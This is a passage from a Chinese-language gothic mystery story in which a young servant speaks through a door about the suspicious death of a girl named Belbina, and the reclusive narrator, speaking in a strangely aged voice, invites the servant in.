一道门外,那个声音还在继续说着:“负责维修西塔楼的石匠也不承认这是他的失误。他说他在遗落砖头的时候往下看过,没有人被砸到,这才没有停止手头的工作……可明明有这么多的疑点,总管先生却像是完全没看到,只草草判了那个石匠的罪,要求他立刻交出罚款,了结这桩案子。” “我想……您住的地方距离她去世的地方很近,也许您能看到什么……” “我不想给您找麻烦……但我希望,我至少能知道真相……” 那道声音沉默下来,我也沉默着,周围的时间似乎暂停了,一切都变得无比安静。 “…………” “我知道您的意思了,不好意思打扰您休息。” 许久后,那道声音隔着门板,闷闷响起:“贝尔碧娜生前跟我说过,主楼的男仆总是会忘记给您送食水,她实在看不过去,才会揽下这不属于她的活计。现在她走了,那些男仆难免会再犯懒……如果您不介意,我每天晚上会在您的门口放一壶水和一块面包,愿吾主保佑您……” 咯吱———— 打开木门后,我借着月光,看到一张陌生的脸。 那是一张很年轻的脸,身上穿着粗麻衣,看起来大概与那姑娘差不多大,只是那双眼睛与贝尔碧娜很不一样。 漆黑空洞,死气沉沉,简直不像一个年轻人会有的眼睛。 随着与那双眼睛对视,我的面部肌肉也开始不自然地抽搐。 最终,我张开了嘴。 “进来吧……” 我用那自己都感到陌生的苍老声线说道:“有些事,我该让你知道。”